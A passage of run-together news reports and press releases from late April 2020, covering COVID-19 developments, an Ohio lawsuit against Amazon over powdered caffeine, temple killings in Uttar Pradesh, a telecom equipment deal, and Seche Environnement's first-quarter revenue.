ownership, control and hands-on actions with a product. They note that Stiner's friend has testified she chose to click on the product she then bought. "Amazon never touched the product, and third parties provided all of the website content and delivered the product directly to the purchaser," Joyce Edelman, an attorney for Amazon, said in a December 2019 court filing. In 2015, the governor at the time, Republican John Kasich, signed into law a bill inspired by Stiner's death that banned the sale of pure powdered caffeine in Ohio. Two lower courts ruled against Stiner's family, and both the Ohio and U.S. chambers of commerce have urged the Ohio Supreme Court to uphold those decisions. Lucknow: Two priests were found murdered at a temple in Bulandshahr district on Tuesday morning, allegedly killed by a local youth. Jagdish (55) and Sher Singh (45) were apparently hit with a lathi at Paguana village's Shiva temple in Anupshahr police station area, police said. The alleged killer was arrested. Uttar Pradesh Chief Minister Yogi Adityanath directed strict action in the case as opposition leaders targeted his Bharatiya Janata Party government over the crime. Congress leader Priyanka Gandhi and Samajwadi Party chief Akhilesh Yadav said the case should not be politicised, Maharashtra Chief Minister Uddhav Thackeray spoke to Adityanath, expressing concern over the killing. Days earlier, Adityanath had made a similar phone call to him over the lynching of two sadhus in Palghar. According to Uttar Pradesh Police, Murari, also known as Raju, was accused by the sadhus two days ago of stealing a pair of tongs used by them. The youth, allegedly under the influence of cannabis, was caught near the temple soon after the two were found dead in the temple. Senior officers rushed to the spot and questioned the man, who told them that after taking bhang on Monday night he went to the temple and killed the sadhus with a lathi lying there. According to one official, the intoxicated youth said he carried out God's will, denying he had any quarrel with the priests. The senior official said the youth will be interrogated at length later as he was still under the influence of the drug. Villagers caught the youth when he was spotted roaming naked about two kiolmetres from the scene of the crime, police said. Some reports said he was carrying a sword and initially police said the two priests were hacked to death. Yogi Adityanath directed strict action in the case and sought a detailed report from officials. Congress general secretary Priyanka Gandhi Vadra also called for a through probe. "Today, two sadhus sleeping in a temple in Bulandshahr have been killed mercilessly. There should be a thorough probe into such heinous crimes and no one should politicise these incidents at such a time," she tweeted in Hindi. She claimed 100 people have been killed in Uttar Pradesh in the first 15 days of the month. Samajwadi Party president Akhilesh Yadav also said that such murders should not be politicised. "The brutal killing of two sadhus in the temple complex in Bulandshahr, Uttar Pradesh is extremely condemnable and tragic. Instead of politicising such murders, there is a need to look into the criminal motive or the root cause of such violent mentality, he tweeted. Shiv Sena leader Sanjay Raut called the killings terrible. He appealed not to make the issue communal as they tried in Palghar, in a tweet seen as a jibe at Adityanath. Two sadhus and an associate were lynched recently in Maharashtra's Palghar Adityanath had then called up Maharashtra Chief Minister Uddhav Rawat, asking him to take strict action in that case. [April 28, 2020] Michael Gorton, Founding CEO of Teladoc, Named Consulting President of MediOrbis Specialty Telemedicine Company MediOrbis, a multi-specialty telemedicine and telehealth company with a first-of-its-kind integrated specialty and chronic disease management (CDM) program, today announced that Michael Gorton, MS, JD, a serial entrepreneur, company builder and recognized pioneer of telemedicine who led telehealth giant Teladoc to literally create an industry, has been named consulting president. Gorton brought to reality his vision for telehealth to answer patient needs for rapid and improved access to high quality, affordable care and will now bring his experience and expertise to build MediOrbis as an undisputed leader in specialty telemedicine and telehealth. Download the latest MediOrbis white paper co-authored by Gorton here. "With both government and private sectors now endorsing the power of telehealth to effectively address ongoing medical challenges, we are entering a new era of growth for the industry," says Gorton, a strategic visionary who has also impacted the telecommunications, music, aerospace, education and healthcare industries. "I look forward to leading and expanding this incredible MediOrbis platform of specialty telemedicine solutions, which combines AI-powered software with a network of the world's most outstanding specialty physicians to deliver expert telemedicine servicesin virtually any field of medicine, clinical care or diagnostics. During the coronavirus (COVID-19) pandemic and into the future, MediOrbis is a critical platform for helping patients and physicians optimize individual health." During Gorton's tenure at Teladoc, the company reached two million members delivering physician/patient consults. As a founder of Back to Space, Michael applied his business expertise, scientific education and training to the STEM education and media sector-a strong voice and proponent of inspired change. He served as a partner of the Texas Acceleration Group (TAG), formed to assist startup companies, and was a founder of Palo Duro Records. He was also a founder of Internet Global which delivered the first DSL network and one of the first VOIP networks. Prior to this, he worked as a project engineer at Dallas Power & Light dealing with power plants, distribution and integration of renewable energy into the grid. Jonathan Wiesen, M.D., founder and chief medical officer, MediOrbis, and pulmonary specialist with advanced training in critical care and medical ethics, says, "MediOrbis is extremely fortunate and proud to attract a leader with the credentials, experience and business acumen of Michael Gorton. We are confident that he will provide the knowledge and expertise required for further expansion. We look forward to serving more people with the high-quality telemedicine service they deserve and can afford." Gorton studied Engineering and Physics at the University of Texas, earned a B.S. in Engineering from Texas Tech, an M.S. in Physics from the University of Texas at Dallas, and a Juris Doctorate from Texas A&M. "MediOrbis offers expanded care platforms to address gaps in care in conjunction with other technology, ranging from wireless devices and wearables to mHealth-enabled electronic healthcare record (EHR) platforms," says Wiesen. "Offering worldwide capabilities, chronic disease management and a network of medical experts with broad and diverse experience, MediOrbis is positioned to not only battle COVID-19 with expert telemedicine services, but also provide telehealth care for the long-term." About MediOrbis MediOrbis is a multi-specialty telemedicine and telehealth company that is shattering the barriers of traditional medicine and extending the reach of specialized clinical care and chronic disease management to its global customer base. Recognized for efficiency and cost-effectiveness to meet the needs of providers, payers and healthcare systems, MediOrbis combines AI-powered software with a network of the world's most outstanding specialty physicians to deliver expert telemedicine services in virtually any field of medicine, clinical care or diagnostics. Visit: www.mediorbis.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005598/en/ [ Back To TMCnet.com's Homepage ] Over 100 policemen, who were attacked by an angry mob when they had gone to a minority dominated area in the city to quarantine some people, have tested negative for coronavirus, a top police official said on Tuesday. Of the 126 miscreants arrested, five had tested positive creating a scare not only in Padarayanapura, but also among the police personnel who apprehended them and the staff at the Ramanagara district jail, where they were initially lodged. Sharing the information on Twitter, Bengaluru police commissioner Bhaskar Rao said, "Led by our Home Minister Basavaraj Bommai, over 100 of us policemen who had ventured into Padrayanapura underwent the Covid 19 Test and to much relief came Negative. Blessings of Bangaloreans." On April 19, a police team had gone to Padarayanapura locality with some health officials to quarantine 43 people, who were the primary and secondary contacts of a COVID-19 patient, and were thrashed by a violent crowd. Five cases were registered in this connection and 126 were arrested. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By PTI NEW DELHI: China on Tuesday said it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied by two Chinese companies and subsequent decision by the Indian Council of Medical Research (ICMR) to not use the equipment, and hoped that India will resolve the issue "reasonably". The ICMR on Monday asked states and union territories to stop using the test kits procured from the Chinese companies, Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics, due to "wide variations" in their performance. "We are deeply concerned with the evaluation results and the decision made by the Indian Council of Medical Research. China attaches great importance to the quality of exported medical products," Chinese embassy Spokesperson Ji Rong said. In a statement, she also said it is "unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice". Ji, however, did not clarify who are the individuals she was referring to. At the same time, the spokesperson said China will continue to support India's fight against the pandemic and will jointly work with New Delhi to overcome the challenge "at an early date" to protect people of the two countries from the infection. India procured around 500,000 rapid antibody test kits from the two Chinese firms nearly two weeks back and they were distributed to several states reporting rising cases of the coronavirus infection. In a communication, the ICMR asked states and union territories to return the kits to the central government so that they can be sent back to the suppliers. The government has said that not a single rupee will be lost as payments were not made to the Chinese suppliers of the kits. The procurement of the kits from the two Chinese companies have been cancelled after the equipment were found under-performing, the government said. In her statement, Ji said the Chinese Embassy has maintained close contact with the ICMR and the two Chinese companies to find out the "real situation", adding China not only sincerely supports India in its fight against COVID-19 but has also been taking concrete actions to help it. "The COVID-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America," Ji said. "We have also learned that there are strict requirements for the storage, transportation and use of COVID-19 antibody rapid test kits. Any operation which is not carried out by professionals in accordance with the product specifications will lead to the testing accuracy variations," she added. The Chinese embassy spokesperson hoped that India would respect "China's goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve it reasonably and properly." "Viruses are common enemy of mankind. Only by working together, can we win this battle against the epidemic. Following India's epidemic situation, China has been feeling the same, shared its experiences in epidemic prevention, control and treatment, and donated medical materials to India," Ji said. Mining communities head to court for protection from COVID-19 Community network MACUA, represented by CALS, is applying to intervene as a friend of the court in AMCU's urgent Labour Court application On Wednesday 29 April, the Labour Court will hear an urgent application brought by mining union AMCU which calls for detailed regulations to be put in place to ensure mine workers will be properly protected from the novel coronavirus. Community network MACUA, represented by CALS, is applying to intervene in the matter as a friend of the court to highlight the vulnerability of mining affected communities during this pandemic, and ensure they have a say in the regulations impacting them. Over a month ago, regulations were put in place to slow the spread of the novel coronavirus in our country by enforcing a strict lockdown including in the mining industry, which was restricted to only essential operations. Concerned, however, about the lack of clear measures to protect mine workers and affected communities, community networks and other civil society groups wrote an open letter to the President and the Minister of Mineral Resources and Energy. The Minister responded positively by issuing updated regulations ordering that a screening and testing programme must be put in place for workers, and that mining companies must make arrangements to transport their employees to work, as well as quarantine those who test positive for the virus. These new Regulations do not, however, go far enough to ensure workers are protected and make no reference to, for example, the need for personal protective equipment and medical facilities. The Association of Mineworkers and Construction Union (AMCU) has therefore launched an urgent application in the Labour Court calling for the Minister to ensure that mine workers are properly protected in line with the Mine Health and Safety Act. One of South Africas largest community networks is applying to intervene in the matter as a friend of the court. Mining Affected Communities United in Action (MACUA), represented by the Centre for Applied Legal Studies (CALS), intends to argue that these protections should be extended to affected communities and be developed in consultation with them. Mine workers are not separate from communities they are part of us, says Meshack Mbangula, National Co-ordinator of MACUA. What happens when they come back home? They dont leave the threat of the virus behind at work. We are already at risk because most people in rural communities dont have proper access to water and some have lung issues from the air pollution that comes with mining. Mining cant take place without mine workers or the communities that host and support them, says Akhona Mehlo, attorney at CALS. Mines have a duty not only to their workers, but to the public. The Mine Health and Safety Act recognises that. It not only mandates mines provide a safe environment for their employees, but also includes measures that must be considered for non-employees. The urgent application will be heard by the Labour Court either electronically over Zoom or a similar platform, or in court under strictly controlled conditions on 29 April 2020 from 10:00. Read our founding affidavit here and our heads of argument here. Read the court's order here and judgment in the matter here. BAKU, Azerbaijan, April 28 By Tamilla Mammadova - Trend: Georgian President Salome Zourabichvili and Israeli President Reuven Rivlin agreed to closely cooperate in several areas in the post-crisis period, Trend reports citing the website of the Georgian presidential administration. The statement was made during a telephone conversation of the heads of state on April 27, the report said. Zourabichvili and Rivlin also discussed the situation with coronavirus in the two countries and methods of combating the pandemic. Georgia's president noted the importance of joining efforts in the field of creating a vaccine against COVID-19 and the continuation of more active and in-depth cooperation between Georgia and Israel in the field of tourism in the post-crisis period. Zourabichvili also noted that the experience of Israel in the field of high technologies is valuable for Georgia. According to official figures, on April 28, Israel registered 15,555 cases of coronavirus infection, 204 people died. Since April 17, Israel has begun to lift restrictions caused by the risk of coronavirus spreading in the country. The first case of coronavirus infection in Georgia was recorded on February 26. On April 28, the number of infected reached 511 people, six persons died. Georgia and Israel established diplomatic relations on June 1, 1992. The countries closely cooperate in the fields of trade, economy, culture, education and tourism. --- Follow the author on Twitter: @Mila61979356 (Newser) It's not just feline pets at risk of the novel coronavirus. A dog in North Carolina has what may be the first confirmed US case of COVID-19 in canines, NBC News reports via a study out of Duke University. Researchers tested Heather McLean, a professor of pediatrics, and each of her family members for the virus, along with their pets. McLean's daughter, Sydney, tested negative, as did a dog and cat. But a pug named Winston tested positive, along with McLean; her husband, Samuel; and their son, Ben, per WRAL. "To our knowledge, this is the first instance in which the virus has been detected in a dog," researcher Chris Woods says, per WABC. However, Live Science reports a 17-year-old Pomeranian in Hong Kong returned a "weak positive" result on Feb. 28. story continues below The dog died shortly after release from quarantine, though it had exhibited no symptoms. Sadly, Winston did suffer symptoms, including coughs and sneezes. "It almost seems like he was gagging," McLean tells WRAL. She adds "there was one day when he didn't want to eat his breakfast," which was extremely out of character. Ben figures he knows exactly how the pug caught the virus. He "licks all of our dinner plates and sleeps in my mom's bed," he says. The CDC is aware of "a small number of pets, including dogs and cats, reported to be infected." It therefore recommends pets be isolated from sick family members and barred from interacting with people or animals outside the home. But given the lack of research, McLean advises pet owners "not to get too worried." (Read more coronavirus stories.) Helsinki/New Delhi, April 28 : In a bid to strengthen its 4G network and enhance 5G capabilities in India, Bharti Airtel has inked a $1 billion (nearly Rs 7,636 crore), multi-year deal with Nokia to deploy the Finnish majors 5G-ready solutions across nine circles in the country. Nokia, which is the largest 4G vendor in Airtel network, will help lay the foundation for providing 5G connectivity in the future by deploying 300,000 radio units across several spectrum bands in those circles expected to be completed by 2022. Reliable industry sources told IANS on Tuesday that the deal size is approximately $1 billion. "We have been working with Nokia for more than a decade now and are delighted to use Nokia's SRAN products in further improving the capacity and coverage of our network as we prepare for the 5G era," Gopal Vittal, MD and CEO (India and South Asia) at Bharti Airtel, said in a statement. Nokia's SRAN solution helps operators manage their 2G, 3G and 4G networks from one platform reducing network complexity, increasing cost efficiencies and future-proofing investment. The Finnish company will be the sole provider of SRAN in the nine circles in the country. The Nokia supplied networks with their low latency and faster speeds will provide Airtel the best possible platform for when 5G networks launch across the country. "We have worked closely with Bharti Airtel for many years and are delighted to extend this long-standing partnership further. This project will enhance their current networks and deliver best-in-class connectivity to Airtel customers but also lay the foundations for 5G services in the future," explained Rajeev Suri, President and Chief Executive Officer at Nokia. India currently is the second-largest telecom market in the world and is expected to reach 920 million unique mobile customers by 2025, which will also include 88 million 5G connections according to the GSMA. The country is experiencing a massive increase in demand for data services with traffic increasing by 47 per cent in 2019 alone, according to Nokia's MBiT Index 2020. Nokia's SRAN solution will help Airtel to address this growing demand by adding network capacity and ensuring a superior quality of experience to its customers. The deal will also include Nokia's RAN equipment, including its AirScale Radio Access, AirScale BaseBand and NetAct OSS solution, which will help Airtel to monitor and manage its network effectively. Humane Society International claims that "fur factory farms are breeding grounds for infectious diseases." The coronavirus pandemic isn't just affecting people. Turns out minks can get the virus, too: On Sunday, two Dutch fur farms were put under quarantine after minks at both sites tested positive for Covid-19. The animals were tested after they were observed having difficulty breathing, and the Dutch Agricultural Ministry has since banned the farms from moving the minks or their manure and advised people not to go within 400 meters of the farms, according to a release from Humane Society International. Though the Agricultural Ministry assumes that the animals contracted the virus from farm employees and "believes that the infected mink pose a 'negligible' risk to human health," Humane Society International claims that factory farming presents "an unnecessary and unacceptable risk for both human and animal health." "Fur factory farms are breeding grounds for infectious diseases, confining thousands of wild animals in unsanitary, crowded and stressful conditions, with precious little veterinary care," said Claire Bass, executive director of Humane Society International/UK, in a release. The creation of new mink farms was banned in the Netherlands in 2013, and the government has given existing mink farms until 2024 to close permanently. This attitude is in keeping with the anti-fur sentiments that have been gaining momentum in the fashion industry in recent years. Stay current on the latest trends, news and people shaping the fashion industry. Sign up for our daily newsletter. Current Print Subscribers will be prompted to either login to their current site user account or to create a new one. A confirmation email will be sent when a new user account is created, which must be confirmed within three days in order to provide uninterrupted online access through your Print Subscription. Once the email address is confirmed please provide your Account Number to activate your Print Subscription Service. BAKU, Azerbaijan, Apr. 28 By Nargiz Sadikhova - Trend: Total number of coronavirus cases confirmed in Kazakhstan amounted to 3,019 cases, Trend reports with reference to Kazakhstans Ministry of Healthcare. As reported, 754 people recovered from the coronavirus, whereas nine patients passed away. Distribution of overall coronavirus cases in Kazakhstans region is as follows: Total infected Total recovered Total deaths Nur-Sultan city 601 216 3 Almaty city 919 97 8 Shymkent city 176 29 4 Akmola region 95 60 4 Aktobe region 65 10 Almaty region 113 9 Atyrau region 128 59 East Kazakhstan region 17 6 1 Zhambyl region 108 43 West Kazakhstan region 126 7 Karaganda region 139 43 1 Kostanay region 43 3 1 Kyzylorda region 186 110 Manystau region 32 5 1 Pavlodar region 120 3 1 North Kazakhstan region 30 25 Turkestan region 121 29 1 TOTAL 3019 754 25 The first two cases of coronavirus infection were detected in Kazakhstan among those who arrived in Almaty city from Germany on March 13, 2020. The outbreak of the coronavirus began in the Chinese city of Wuhan (an international transport hub), at a fish market in late December 2019. The number of people killed by the disease has exceeded 211,800. Over 3 million people have been confirmed as infected. Meanwhile, over 902,000 people have reportedly recovered. The World Health Organization (WHO) declared COVID-19 a pandemic on March 11. Some sources claim the coronavirus outbreak started as early as November 2019. --- Follow the author on twitter: @nargiz_sadikh MIDLAND, VA / ACCESSWIRE / April 28, 2020 / Easi-Set Worldwide, a subsidiary of publicly-traded Smith-Midland, Corp. (OTCQX:SMID), project announcement. Summit Precast, Easi-Set's newest J-J Hooks licensed producer in Texas has started production on their first large-scale project. Webber Heavy Civil was selected by the Texas DOT to demolish and rebuild 7 miles of Interstate Highway 10 in Austin County. The project will take approximately 36 months to complete; an aggressive schedule intended to minimize impact on the travelers in the corridor. An integral first part of the project is installing temporary concrete barrier to ensure the safety of motorists and workers. Webber has contracted with Summit Precast to provide over 23 miles (123,390 LF) of J-J Hooks precast concrete safety barrier. Casting will take place in a yard near the construction site to reduce transportation costs and speed delivery schedules. Production has started and will continue through September of this year. J-J Hooks currently has a full suite of MASH-tested precast concrete temporary barrier. It is the temporary-barrier-of-choice among construction contractors due to its speed of installation/removal, no loose connection hardware, identical ends (can be turned end-to-end), cast-in self-aligning connection guide, and economical cost. Over 15,000,000 LF of J-J Hooks has been used on North American highways since its introduction in 1990. Easi-Set Worldwide, licenses the production and sale of Easi-Set products and provides diversification opportunities to the precast industry worldwide. For more information on Easi-Set precast concrete products or licensing opportunities, please contact Easi-Set by calling 1-800-547-4045 or going online to www.EasiSet.com. This announcement contains forward-looking statements, which involve risks and uncertainties. The Company's actual results may differ significantly from the results discussed in the forward-looking statements. Factors which might cause such a difference include, but are not limited to, product demand, the impact of competitive products and pricing, capacity and supply constraints or difficulties, general business and economic conditions, the effect of the Company's accounting policies and other risks detailed in the Company's Annual Report on Form 10-K and other filings with the Securities and Exchange Commission. Media, Licensing and Sales Inquiries: info@easiset.com (540) 439-8911 SOURCE: Smith-Midland Corporation View source version on accesswire.com:https://www.accesswire.com/587227/J-J-Hooks-Project-Underway-They-Do-It-Big-In-Texas A Cumberland County government employee, who has been in government buildings in recent weeks, has tested positive for COVID-19, the Board of Commissioners announced Monday. The employee was in three buildings, the Cumberland County Courthouse, the Historical Courthouse and the Business Central on North Hanover Street in Carlisle, the commissioners said. These visits were during the weeks of April 13 and 20. We have asked our core employees who are working in our county facilities, to continue to adhere to the CDC and Pennsylvania Department of Health Guidelines, said Commissioner Gary Eichelberger. And our Facilities Management Department has disinfected the areas where the county employee worked. The county Facilities Management Department followed the CDC guidelines on cleaning with a mist disinfectant, officials said. We have notified all of our county government employees regarding the COVID-19 case, not only those who were in direct contact with the employee, said Eichelberger. We continue to encourage all employees who feel sick, not to come into work, and if they get sick while working to contact their supervisor, go home and contact their medical provider. County facilities are closed to the general public, with only core personnel operating, county officials said. Last week, the county furloughed 156 employees as a part of efforts to mitigate the spread of COVID-19. Read more on PennLive: Effect of Mecomer (Italy) integration Quality growth maintained Limited impact of Covid-19 crisis at end-March Business continuity with differentiated situations by site or geographical area Regulatory News: At March 31, 2020, Seche Environnement (Paris:SCHP) reported revenue of 172.9m, up +5.4% compared to one year earlier (164.1m). Contributed revenue1 came out to 172.8m, an increase of +10.1% compared to one year earlier (156.9m). This solid performance includes a scope effect of 13.6m from principally the contribution of Mecomer, consolidated as from April 1, 2019. At constant scope and exchange rates, the first quarter showed strong activity (+2.5%), particularly in France. With contributed revenue up +4.3%, France benefited from an environment supported by steadily high industrial output and the positive effects of regulations aimed at implementing the Circular Economy. Internationally, the main subsidiaries enjoyed good business in South Africa and Peru, but with revenue down -3.9% at constant scope and exchange rates, international performance suffered a significant setback in PCB import activities (spot markets) and to a less extend, a reduced contribution from site operations. After a solid January and February, the initial effects of the lockdown due to Covid-19, starting in the second half of March, impacted certain service activities (decontamination sites in France and chemical cleaning internationally), and some processing activities that were affected by a drop in volumes from industrial activity At present, this decline in Seche's activity seems to have stabilized, assuming that the industrial activity of public and private clients will begin to gradually recover in May and that normalized growth levels will return in the third quarter in the Group's main geographic regions. From this perspective and under this assumption of an economic recovery, the Group also maintains its roadmap through to 2022.2 Commentary on business in the first quarter of 2020 During the first quarter of 2020, Seche Environnement saw solid business in France across most of its recovery, service, and treatment markets. Internationally, revenue growth essentially reflected the scope effect of the integration of Mecomer (Italy). At constant scope and exchange rates, the trends were more mixed, depending on geographic regions and activities. Notably, Seche Environnement finalized the merger in Peru between Taris and Kanay, the new entity which is keeping the Kanay name, and, in Spain, the Group increased its stake in Solarca and now holds 86% of the subsidiary's capital, while Joan Enric Carreres retains 14% and remains as Chief Executive Officer. Breakdown of revenue by geographic scope Consolidated data in m At March 31 2019 2020 Gross change Organic change (1) Subsidiaries in France o/w scope effect 121.9 127.1 +4.3% +4.3% International subsidiaries o/w scope effect 35.0 16.3 45.7 13.6 +30.4% -3.9% Total contributed revenue 156.9 172.8 +10.1% +2.5% Diversion compensation (NHW France) 7.2 IFRIC 12 revenue (NHW France) 0.1 Consolidated revenue (reported) 164.1 172.9 +5.4% -1.3% At constant scope and exchange rates At March 31, 2019, contributed consolidated revenue at constant exchange rates would have been 155.3m, reflecting a negative foreign exchange effect of -1.6m for the period. In France, contributed revenue amounted to 127.1m, up +4.3% on the first quarter of 2019. This noticeable increase illustrates the solid level of business up to early March on most markets, particularly industrial markets; meanwhile, Local Authorities markets confirmed their trend, in connection with implementation of the Circular Economy. Internationally, revenue stood at 45.7m, up sharply by +30.3%, reflecting: the scope effect of 13.6m mainly from the integration of Mecomer (not consolidated in the first quarter of 2019). On an annualized basis, Mecomer achieved revenue growth at March 31, 2020 of +26% compared to March 31, 2019, for an increase of +13% in tonnage over the same period; at constant scope and exchange rates, a -3.9% decline in activity: the marked contraction of recovery activities in Mexico (PCB spot markets) and a reduced contribution from Solarca (chemical cleanup site operations) obscured solid performances from Peru (revenue: +26.3%) and South Africa (revenue: +10.6%). Breakdown of revenue by activity Consolidated data in m At March 31 2019 2020 Gross change Organic change (1) Recovery o/w scope effect 27.6 2.5 24.2 0.1 -12.4% -12.0% Treatment o/w scope effect 75.6 2.4 87.3 13.5 +15.5% -1.9% Services o/w scope effect 52.7 11.4 61.3 +14.2% +18.9% Total contributed revenue 155.8 172.8 +10.1% +2.5% Diversion compensation (NHW France) 7.2 IFRIC 12 revenue (NHW France) 0.1 Consolidated revenue (reported) 164.1 172.9 +5.4% -1.3% At constant scope and exchange rates Organic growth in contributed revenue in the first quarter of 2020 was driven by the momentum in service activities in France (Decontamination) and internationally (Interwaste). Treatment activities reflected mainly Mecomer's contribution (13.5m scope effect). At constant scope and exchange rates, these activities held up well in France (apart from incineration), while internationally, revenue growth was choked by weaker performance from Chile (HW storage). Recovery activities hit a slump, mainly because of a lower contribution from the International PCB markets, which are suffering from an unfavorable comparison basis with their peak from one year ago (spot markets); while in France, the decline in energy recovery overshadowed the success of the materials recovery (chemical purification) business lines. Breakdown of revenue by division Consolidated data in m At March 31 2019 2020 Gross change Organic change (1) HW division o/w scope effect 100.6 11.8 113.5 13.6 +12.8% +0.4% NHW division o/w scope effect 56.3 4.5 59.3 +5.4% +6.3% Total contributed revenue 156.9 172.8 +10.1% +2.5% Diversion compensation (NHW France) 7.2 IFRIC 12 revenue (NHW France) 0.1 Consolidated revenue (reported) 164.1 172.9 +5.4% -1.3% At constant scope and exchange rates The HW division recorded revenue of 113.5m, up +12.8% on a reported basis and up +3.3% at constant scope and exchange rates: In France, the revenue generated by the division amounted to 78.5m, which represents a +9.1% increase from the first quarter of 2019. The division has industrial markets that are still sound, supporting treatment operations (excluding incineration). The period featured an increase in medical waste (MW) treatment in connection with the start of the Covid-19 epidemic. The materials recovery business lines (chemical purification) also did well, while services experienced a high level of activity compared to the same period one year ago. Internationally, revenue totaled 35.0m (vs. 28.7m one year earlier). This includes a scope effect of 13.6m, reflecting the contribution of Mecomer, which was consolidated as of April 1, 2019. At constant scope and exchange rates, the trend in the division (-22.5% over the period) was mixed, based on activity and geographic area, the pronounced slowdown in PCB activities in Mexico (-93%), and, to a lesser extent, operations in Chile (storage), offsetting the return to satisfactory activity in Peru. The NHW division posted contributed revenue of 59.3m, up +5.4% (reported data) and up +6.3% (at constant exchange rates) from the first quarter of 2019. The division's growth was driven by the services and treatment businesses: In France, the division's revenues amounted to 48.7m, a slight decline of -2.4% compared to the same period in 2019. This can be attributed to the lower contribution from energy recovery (-16.3%, while materials and treatment activities held up well, boosted by the implementation of the circular economy and good performance from the industrial markets. Services, especially decontamination, experienced a robust level of activity that contrasted with the same period last year. Internationally, the NHW division generated revenue of 10.7m, up +66.9% (reported data) and +81.4% at constant exchange rates compared to the same period last year, mainly due to a strong growth trend in NHW business at Interwaste in South Africa. Cash management under control, financial strength maintained 2020 projections confirmed, to-date, based on the assumption of still-limited impact of the Covid-19 crisis on activity and a return to normal in the third quarter of 2020 2022 roadmap confirmed Seche Environnement's commitments and business continuity plans Seche Environnement is in command of the hazards of waste, which is a strategic concern for the continuity of economic and social life. As such, it operates in business lines that are critical to public sanitation, protection of human health, and remediation of environmental risks. Its positioning on the waste markets, particularly hazardous waste, makes it essential to the continuity of its industrial customers' output. The majority of these customers operate in the strategic sectors of energy, chemicals, health care, or pharmaceuticals. This also means Seche Environment is a committed partner to its Local Authority and Hospital customers, enabling them to continue their public service missions. As such, very early on, Seche Environnement set up enhanced protective measures for its staff, particularly the teams most directly exposed to waste, and "barrier actions" were adopted for all Group employees the minute the first cases of contamination on French soil were confirmed. Since then, organizational initiatives promoting work from home or on-site team rotation have been mainstreamed. Seche Environnement is pleased to have helped protect its employees' health which is the number one reason for implementing these measures and to have kept its human resources intact and its equipment available. The Group can count on the daily, courageous, and exemplary commitment of its teams to keep its operations up and running for its customers. As a result, from the moment that lockdown measures were implemented in France and other countries where the Group operates, Seche Environnement has proceeded with its customers' waste recovery and treatment activities as part of the continuity plans developed across all its sites, with limited impact thus far on volumes or operations and therefore on the Group's profitability. Variable impact depending on region, but still limited on a Group scale Seche Environnement has nonetheless seen declines in activity in some of its business lines, such as services in France and Internationally (Decontamination; Chemical Cleaning), which have suffered project delays, or sorting/recovery operations and storage equipment that have faced lower levels of Waste from Economic Activity (WEA) in conjunction with the slowdown in certain industrial activities and the service sector, particularly distribution. Situations are also varied in the different countries where the Group operates. For example, Peru, Spain and South Africa are seeing downturns that are quite a bit more significant than in France and Italy. However, the drop in activity seems stabilized for now. Note that in March, the global spread of the pandemic resulted in significantly worsening exchange rates for certain currencies against the euro, specifically in South Africa and Chile, which reduced the contributions of subsidiaries in those countries to consolidated activity. Cash management under control, financial position preserved Since the lockdown began, Seche Environnement has paid close attention to preserving its liquidity position. At December 31, 2019, the Group had a liquidity position of 287m, which comprised 93m in free cash, 19m in overdraft facilities, a 25m term line of credit, and 150m in revolving credit facilities (RCF). Seche Environnement strives to control its working capital requirement through an active billing and collection policy. In addition, the Group has obtained six-month extensions of loan terms on its current bank loans and overdrafts. Finally, the Group does not have any major financial debt repayment deadlines until 2023. As a precaution, Seche Environnement has decided to suspend certain development investments in France and internationally, such the roll-out of the Eden project in South Africa (11m planned in 2020), or the start-up of the Ciclo project in Chile (6m in 2020). At present, the sound liquidity position that prevailed at the start of the financial year is generally unchanged. Scenario of a short-term impact followed by a significant recovery, with 2020 projections and the 2022 roadmap upheld Seche Environnement is estimating a short-lived impact, followed by renewed activity in France starting in the second half of May, and in the other countries sometime in May. This revival could be accompanied by a rebound in waste volumes, particularly on the WEA markets, once industrial output recovers, major retailers reopen, and inventories are replenished. In services, some subsidiaries in France and internationally are already planning for site restarts and anticipating a gradual return to normal operations as early as May. However, post-crisis situations may develop very differently in the geographic regions where the Group operates. That is why Seche Environnement is keeping a close watch on the situation in Europe, in Latin America and even more in South Africa, where the economy is highly cyclical and the exchange rate with the euro can fluctuate substantially. In light of first-quarter achievements, and assuming a short-lived impact in France and the main countries where it operates, Seche Environnement believes that it could catch up on any scheduling delays in certain business lines in the second quarter, following a low point in terms of operations and results in the second quarter of 2020. For these reasons, Seche Environnement is currently maintaining its expectations for 20203, with: Contributed revenue of between 650m and 700m; Consolidated EBITDA at 20% of contributed revenue; An EBITDA to cash conversion rate of 35%; Financial leverage around 3x EBITDA. Seche Environnement notes that the majority of its targets for 2020 were already achieved in 2019. These targets factor in the effects of the end of the public service delegation contract for management of the Bearn incinerator in the first half of 2020. This contract represented revenues of approximately 8.8m, EBITDA of around 2.7m and COI of around 0.5m in 2019. However, Seche Environnement is staying vigilant on developments in its markets and its customers' situations, and is watching carefully for any factor that would require it to adjust the projections set out above. As such, achieving these targets in 2020 remains contingent on a "strong increase in international activity", in particular "a greater contribution from Interwaste".4 Under these same scenarios, Seche Environnement is also confirming its roadmap through to 20221, with: Contributed revenue of between 750m and 800m; EBITDA of between 20% and 22% of contributed revenue; An EBITDA to cash conversion rate of 35%; Financial leverage ratio below 3x EBITDA. Definitions Contributed revenue: reported revenue minus IFRIC 12 revenue and diversion compensation. IFRIC 12 revenue: investments made for disposed assets and booked as revenue in accordance with IFRIC 12. Diversion compensation: compensation used, net of variable charges, to cover the additional costs incurred by Seche Environnement to ensure the continuity of public service during asbestos removal at the Strasbourg-Senerval incinerator. Conference call A conference call to describe the business activity for the first quarter of 2020 will be held (in French only) on April 28, 2020 at 6:00 p.m. Paris time. To participate in the conference, please dial +33 (0)1 70 71 01 59. Code: 51 12 94 61 # Material to accompany the presentation will be available from 5:45 p.m. on Seche Environnement's website: https://www.groupe-seche.com/en/investors/home The conference recording will be available at +33 (0)1 72 72 74 02 Code: 41 89 18 358 Calendar Combined General Meeting April 30, 2020 Revenue at June 30, 2020 July 28, 2020 after market close About Seche Environnement Seche Environnement is one of France's leading players in the recovery and treatment of all types of waste, from both industry and local communities. Seche Environnement is the leading independent operator in France. It is uniquely positioned as a specialist in highly complex waste, operating within regulated waste recovery and treatment markets with high barriers to entry, and develops cutting edge hazardous and non-hazardous waste recovery and treatment solutions. Its facilities and expertise enable it to provide high value-added solutions to its industrial and public authority clients, targeting the challenges of the circular economy and sustainable development requirements, such as: material or energy recovery from 